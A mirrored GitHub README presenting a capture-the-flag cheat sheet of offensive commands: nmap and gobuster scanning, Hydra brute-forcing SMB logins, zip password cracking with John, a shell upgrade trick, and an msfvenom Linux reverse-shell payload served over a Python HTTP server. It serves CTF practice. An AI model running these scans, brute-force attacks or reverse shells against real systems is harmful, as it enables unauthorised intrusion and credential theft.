Code Monkey home page Code Monkey logo

ctf_cookbook's Introduction

CTF_Cookbook

A collection of tool commands and scripts for capture the flag machines

Nmap (Port scanning tool)

Discover common ports and their versions. Output all formats to an nmap folder

nmap -sC -sV -oA nmap/[filename] [box_ip_address]

An aggressive detection scan

nmap -T4 -A -oA nmap/[filename] [box_ip_address]

Scan all ports and write results to file in all formats

nmap -p- -oA [FILENAME] [RHOST_IP]

Scan all ports and then search through XML file results with SearchSploit to find possible exploits

nmap -p- -sV -oX [FILENAME.xml] [RHOST_IP]; searchsploit --nmap [FILENAME.xml]

Gobuster (Directory scanning tool)

Scan directories on port using list in file directory-list-2.3-medium.txt and output it to file gobuster.log

gobuster -u http://[RHOST_IP]:[PORT] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log

Scan multiple directories using a for loop

for i in admin test dev backup loop; do
gobuster -u http://[RHOST_IP]:[PORT]/$i -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-$i.log
done

WFUZZ (a web application bruteforcer)

Enumerate on web services

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc '403,404' http://[RHOST_IP]/FUZZ

SMBMAP (SMB enumeration tool)

check for any available samba shares on the host

smbmap -H [RHOST_IP]

LFTP (Sophisticated file transfer program)

Connect to ftp server as anonymous user and run a command (In this example "ls") upon login

lftp -u anonymous -e "ls" [RHOST_IP]

HYDRA (a very fast network logon cracker which support many different services)

scan smb share with a known user against a password list

hydra -l [USERNAME] -P [PASSWORDS.txt] smb://[RHOST_IP]

XXD (make a hexdump or do the reverse.)

Reverse hex in a file

cat [HEXFILE.txt] | xxd -r -p > [DECODED_FILE.txt]

zip2john (Crack password protected zip files.)

Get hash from zip file and send to an output file for cracking

zip2john [ZIPFILE.zip] > [OUTPUTFILE.zip.hash]

Crack zip file hash using wordlist rockyou.txt

john --wordlist=[/usr/share/wordlists/rockyou.txt] [OUTPUTFILE.zip.hash]

Base64 (base64 encode/decode data and print to standard output)

Decode base64 contained in a file

base64 -d [FILE_TO_DECODE.txt]

tr (translate or delete characters)

Wipe all whitespace including newlines

cat [FILE.txt] | tr -d " \t\n\r"

Upgrade the Interactive Shell to a Full TTY Shell

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl-z
stty raw -echo
fg
reset

MSVENOM (Payload Generator and Encoder)

Create 32-bit reverse shell for Linux

msfvenom -p linux/x86/shell_reverse_tcp LHOST=[LHOST_IP] LPORT=[LHOST_PORT] -f elf -o rev

Start SimpleHTTPServer with Python

python -m SimpleHTTPServer 80

ctf_cookbook's People

Contributors

johnnyr030t avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.